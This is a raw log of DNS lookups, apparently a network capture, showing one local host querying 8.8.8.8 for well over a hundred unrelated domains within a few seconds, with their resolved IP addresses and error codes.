Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.524238110 CET	8.8.8.8	192.168.2.6	0x3efa	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.714071989 CET	8.8.8.8	192.168.2.6	0x4c41	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.760175943 CET	8.8.8.8	192.168.2.6	0xe2b1	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.764609098 CET	8.8.8.8	192.168.2.6	0x70a8	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.784849882 CET	8.8.8.8	192.168.2.6	0x8928	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.946860075 CET	8.8.8.8	192.168.2.6	0x7acc	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.966097116 CET	8.8.8.8	192.168.2.6	0x7b0d	No error (0)	bount.com.tw		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.966097116 CET	8.8.8.8	192.168.2.6	0x7b0d	No error (0)	bount.com.tw		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.971343994 CET	8.8.8.8	192.168.2.6	0x6c1b	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.986663103 CET	8.8.8.8	192.168.2.6	0x27e7	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.039978027 CET	8.8.8.8	192.168.2.6	0xe4d2	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.052660942 CET	8.8.8.8	192.168.2.6	0xde43	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.079570055 CET	8.8.8.8	192.168.2.6	0x5d1b	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.175970078 CET	8.8.8.8	192.168.2.6	0x9069	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.175970078 CET	8.8.8.8	192.168.2.6	0x9069	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.175970078 CET	8.8.8.8	192.168.2.6	0x9069	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.189732075 CET	8.8.8.8	192.168.2.6	0xb6be	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.189732075 CET	8.8.8.8	192.168.2.6	0xb6be	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.189732075 CET	8.8.8.8	192.168.2.6	0xb6be	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.189732075 CET	8.8.8.8	192.168.2.6	0xb6be	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.209471941 CET	8.8.8.8	192.168.2.6	0xef59	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.219906092 CET	8.8.8.8	192.168.2.6	0x6113	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.263530970 CET	8.8.8.8	192.168.2.6	0xcf55	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.263530970 CET	8.8.8.8	192.168.2.6	0xcf55	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.274943113 CET	8.8.8.8	192.168.2.6	0xfd2e	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.298702955 CET	8.8.8.8	192.168.2.6	0x18ab	No error (0)	mjrcpas.com		154.81.136.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.312130928 CET	8.8.8.8	192.168.2.6	0x1f78	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.334865093 CET	8.8.8.8	192.168.2.6	0x75de	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.360248089 CET	8.8.8.8	192.168.2.6	0x3aa0	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.376573086 CET	8.8.8.8	192.168.2.6	0x8b30	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.474150896 CET	8.8.8.8	192.168.2.6	0xdbaf	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.666059017 CET	8.8.8.8	192.168.2.6	0xf8f0	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.667143106 CET	8.8.8.8	192.168.2.6	0xaf0e	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.694922924 CET	8.8.8.8	192.168.2.6	0xd1e3	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.743587971 CET	8.8.8.8	192.168.2.6	0x525d	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.746978045 CET	8.8.8.8	192.168.2.6	0x9409	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.756076097 CET	8.8.8.8	192.168.2.6	0xc13	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.756076097 CET	8.8.8.8	192.168.2.6	0xc13	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.756076097 CET	8.8.8.8	192.168.2.6	0xc13	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:56.898046017 CET	8.8.8.8	192.168.2.6	0x4c41	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.170932055 CET	8.8.8.8	192.168.2.6	0x2e58	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.182614088 CET	8.8.8.8	192.168.2.6	0x4aaf	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.204035997 CET	8.8.8.8	192.168.2.6	0x83e	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.204035997 CET	8.8.8.8	192.168.2.6	0x83e	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.220386028 CET	8.8.8.8	192.168.2.6	0x361	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.261065006 CET	8.8.8.8	192.168.2.6	0xa0b6	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.395169973 CET	8.8.8.8	192.168.2.6	0x6f24	No error (0)	arowines.com		104.164.117.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.484255075 CET	8.8.8.8	192.168.2.6	0xf3c3	No error (0)	revoldia.net		45.200.235.135	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.488959074 CET	8.8.8.8	192.168.2.6	0x3ea8	No error (0)	geecl.com		213.175.217.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.489079952 CET	8.8.8.8	192.168.2.6	0xbd79	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.739123106 CET	8.8.8.8	192.168.2.6	0xefe	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.747342110 CET	8.8.8.8	192.168.2.6	0xd436	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.837032080 CET	8.8.8.8	192.168.2.6	0xb92c	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.938040972 CET	8.8.8.8	192.168.2.6	0xfb16	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.997026920 CET	8.8.8.8	192.168.2.6	0x258d	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:57.999563932 CET	8.8.8.8	192.168.2.6	0x8290	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.006505013 CET	8.8.8.8	192.168.2.6	0xb1a8	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.011902094 CET	8.8.8.8	192.168.2.6	0x573c	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.039237022 CET	8.8.8.8	192.168.2.6	0x77ee	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.067496061 CET	8.8.8.8	192.168.2.6	0x8806	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.110311031 CET	8.8.8.8	192.168.2.6	0x273e	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.161550999 CET	8.8.8.8	192.168.2.6	0x665a	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.182498932 CET	8.8.8.8	192.168.2.6	0xe714	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.182498932 CET	8.8.8.8	192.168.2.6	0xe714	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.182498932 CET	8.8.8.8	192.168.2.6	0xe714	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.182498932 CET	8.8.8.8	192.168.2.6	0xe714	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.247780085 CET	8.8.8.8	192.168.2.6	0x8290	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.253348112 CET	8.8.8.8	192.168.2.6	0xeb1	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.326468945 CET	8.8.8.8	192.168.2.6	0x6a70	No error (0)	vivastay.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:58.326468945 CET	8.8.8.8	192.168.2.6	0x6a70	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:58.326468945 CET	8.8.8.8	192.168.2.6	0x6a70	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.326468945 CET	8.8.8.8	192.168.2.6	0x6a70	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.363941908 CET	8.8.8.8	192.168.2.6	0x83b5	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.411151886 CET	8.8.8.8	192.168.2.6	0xd08d	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.411151886 CET	8.8.8.8	192.168.2.6	0xd08d	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.428158045 CET	8.8.8.8	192.168.2.6	0xc1a7	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.474096060 CET	8.8.8.8	192.168.2.6	0x7631	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:58.474096060 CET	8.8.8.8	192.168.2.6	0x7631	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.489723921 CET	8.8.8.8	192.168.2.6	0xa12e	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.509329081 CET	8.8.8.8	192.168.2.6	0xcc4	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.541843891 CET	8.8.8.8	192.168.2.6	0x93fc	No error (0)	bd-style.com		107.165.223.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.551098108 CET	8.8.8.8	192.168.2.6	0x69fc	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.552706957 CET	8.8.8.8	192.168.2.6	0xf661	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.552706957 CET	8.8.8.8	192.168.2.6	0xf661	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.587500095 CET	8.8.8.8	192.168.2.6	0x8e3e	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.656862974 CET	8.8.8.8	192.168.2.6	0x3868	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.656862974 CET	8.8.8.8	192.168.2.6	0x3868	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.669141054 CET	8.8.8.8	192.168.2.6	0x579c	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.682168007 CET	8.8.8.8	192.168.2.6	0x6034	No error (0)	wvs-net.de		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.682168007 CET	8.8.8.8	192.168.2.6	0x6034	No error (0)	wvs-net.de		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.756062031 CET	8.8.8.8	192.168.2.6	0x9400	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.767107964 CET	8.8.8.8	192.168.2.6	0xbe03	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.769830942 CET	8.8.8.8	192.168.2.6	0xe3cb	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.769830942 CET	8.8.8.8	192.168.2.6	0xe3cb	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.791246891 CET	8.8.8.8	192.168.2.6	0x963	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.828305006 CET	8.8.8.8	192.168.2.6	0xe94b	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.835644007 CET	8.8.8.8	192.168.2.6	0x4c41	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.844337940 CET	8.8.8.8	192.168.2.6	0x7620	No error (0)	yhsll.com		154.88.50.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.869426012 CET	8.8.8.8	192.168.2.6	0xc6ea	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.871022940 CET	8.8.8.8	192.168.2.6	0xe23d	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.875787973 CET	8.8.8.8	192.168.2.6	0xfc19	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:58.917565107 CET	8.8.8.8	192.168.2.6	0x366a	No error (0)	revoldia.net		45.200.235.135	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.012854099 CET	8.8.8.8	192.168.2.6	0xa73f	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.059237957 CET	8.8.8.8	192.168.2.6	0x7436	No error (0)	akr.co.id		172.67.33.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.059237957 CET	8.8.8.8	192.168.2.6	0x7436	No error (0)	akr.co.id		104.20.123.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.059237957 CET	8.8.8.8	192.168.2.6	0x7436	No error (0)	akr.co.id		104.20.122.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.061736107 CET	8.8.8.8	192.168.2.6	0x8cb7	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.061736107 CET	8.8.8.8	192.168.2.6	0x8cb7	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.092583895 CET	8.8.8.8	192.168.2.6	0x1cef	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.099822044 CET	8.8.8.8	192.168.2.6	0xf46e	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.108170033 CET	8.8.8.8	192.168.2.6	0xc189	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.168828964 CET	8.8.8.8	192.168.2.6	0x64ad	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.168828964 CET	8.8.8.8	192.168.2.6	0x64ad	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.168828964 CET	8.8.8.8	192.168.2.6	0x64ad	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.168828964 CET	8.8.8.8	192.168.2.6	0x64ad	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.179917097 CET	8.8.8.8	192.168.2.6	0x76ba	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.206217051 CET	8.8.8.8	192.168.2.6	0x31bf	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.216717005 CET	8.8.8.8	192.168.2.6	0x8561	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.235346079 CET	8.8.8.8	192.168.2.6	0xba44	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.235346079 CET	8.8.8.8	192.168.2.6	0xba44	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.235346079 CET	8.8.8.8	192.168.2.6	0xba44	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.235346079 CET	8.8.8.8	192.168.2.6	0xba44	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.268230915 CET	8.8.8.8	192.168.2.6	0x1932	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.268230915 CET	8.8.8.8	192.168.2.6	0x1932	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.281708002 CET	8.8.8.8	192.168.2.6	0x9f3d	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.291193962 CET	8.8.8.8	192.168.2.6	0xed60	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.291193962 CET	8.8.8.8	192.168.2.6	0xed60	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.377038956 CET	8.8.8.8	192.168.2.6	0x46b5	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.413562059 CET	8.8.8.8	192.168.2.6	0xd694	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.413562059 CET	8.8.8.8	192.168.2.6	0xd694	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.499599934 CET	8.8.8.8	192.168.2.6	0xb46b	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.501981974 CET	8.8.8.8	192.168.2.6	0xa48d	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.515078068 CET	8.8.8.8	192.168.2.6	0x240	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.523413897 CET	8.8.8.8	192.168.2.6	0xe3d5	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.576822042 CET	8.8.8.8	192.168.2.6	0x94	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.578314066 CET	8.8.8.8	192.168.2.6	0x47f9	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.676454067 CET	8.8.8.8	192.168.2.6	0x9cf3	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.676454067 CET	8.8.8.8	192.168.2.6	0x9cf3	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.676692009 CET	8.8.8.8	192.168.2.6	0xb68d	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.727076054 CET	8.8.8.8	192.168.2.6	0x55c4	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.751223087 CET	8.8.8.8	192.168.2.6	0x9a5f	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.763541937 CET	8.8.8.8	192.168.2.6	0xe0d3	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.764322996 CET	8.8.8.8	192.168.2.6	0x4c94	No error (0)	hyab.se		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.764322996 CET	8.8.8.8	192.168.2.6	0x4c94	No error (0)	hyab.se		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:59.895612001 CET	8.8.8.8	192.168.2.6	0x130a	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.089301109 CET	8.8.8.8	192.168.2.6	0x7b6e	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.217412949 CET	8.8.8.8	192.168.2.6	0xed7d	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.272877932 CET	8.8.8.8	192.168.2.6	0xc378	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.346846104 CET	8.8.8.8	192.168.2.6	0xfaf8	No error (0)	any-s.net		185.104.28.238	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.374154091 CET	8.8.8.8	192.168.2.6	0x671d	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.377938986 CET	8.8.8.8	192.168.2.6	0xb87c	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.377938986 CET	8.8.8.8	192.168.2.6	0xb87c	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.406905890 CET	8.8.8.8	192.168.2.6	0x1d9f	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.406905890 CET	8.8.8.8	192.168.2.6	0x1d9f	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.459186077 CET	8.8.8.8	192.168.2.6	0xf2d4	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.494142056 CET	8.8.8.8	192.168.2.6	0xfbea	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.500196934 CET	8.8.8.8	192.168.2.6	0x3e02	No error (0)	sinwal.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.500196934 CET	8.8.8.8	192.168.2.6	0x3e02	No error (0)	sinwal.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.533974886 CET	8.8.8.8	192.168.2.6	0x650d	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.545104027 CET	8.8.8.8	192.168.2.6	0xf05e	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.560616016 CET	8.8.8.8	192.168.2.6	0xfebd	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.626425028 CET	8.8.8.8	192.168.2.6	0x8335	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.626425028 CET	8.8.8.8	192.168.2.6	0x8335	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.639435053 CET	8.8.8.8	192.168.2.6	0x9a6b	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.641343117 CET	8.8.8.8	192.168.2.6	0x9a39	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.681468964 CET	8.8.8.8	192.168.2.6	0x5031	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.718024015 CET	8.8.8.8	192.168.2.6	0x39fe	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.718024015 CET	8.8.8.8	192.168.2.6	0x39fe	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.724282026 CET	8.8.8.8	192.168.2.6	0x52f8	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.792762041 CET	8.8.8.8	192.168.2.6	0xc560	No error (0)	sigtoa.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.792762041 CET	8.8.8.8	192.168.2.6	0xc560	No error (0)	sigtoa.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.798417091 CET	8.8.8.8	192.168.2.6	0xc26d	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.823520899 CET	8.8.8.8	192.168.2.6	0x2b5c	No error (0)	sigtoa.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.823520899 CET	8.8.8.8	192.168.2.6	0x2b5c	No error (0)	sigtoa.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.829211950 CET	8.8.8.8	192.168.2.6	0xfbc4	Name error (3)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:00.838177919 CET	8.8.8.8	192.168.2.6	0xa986	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
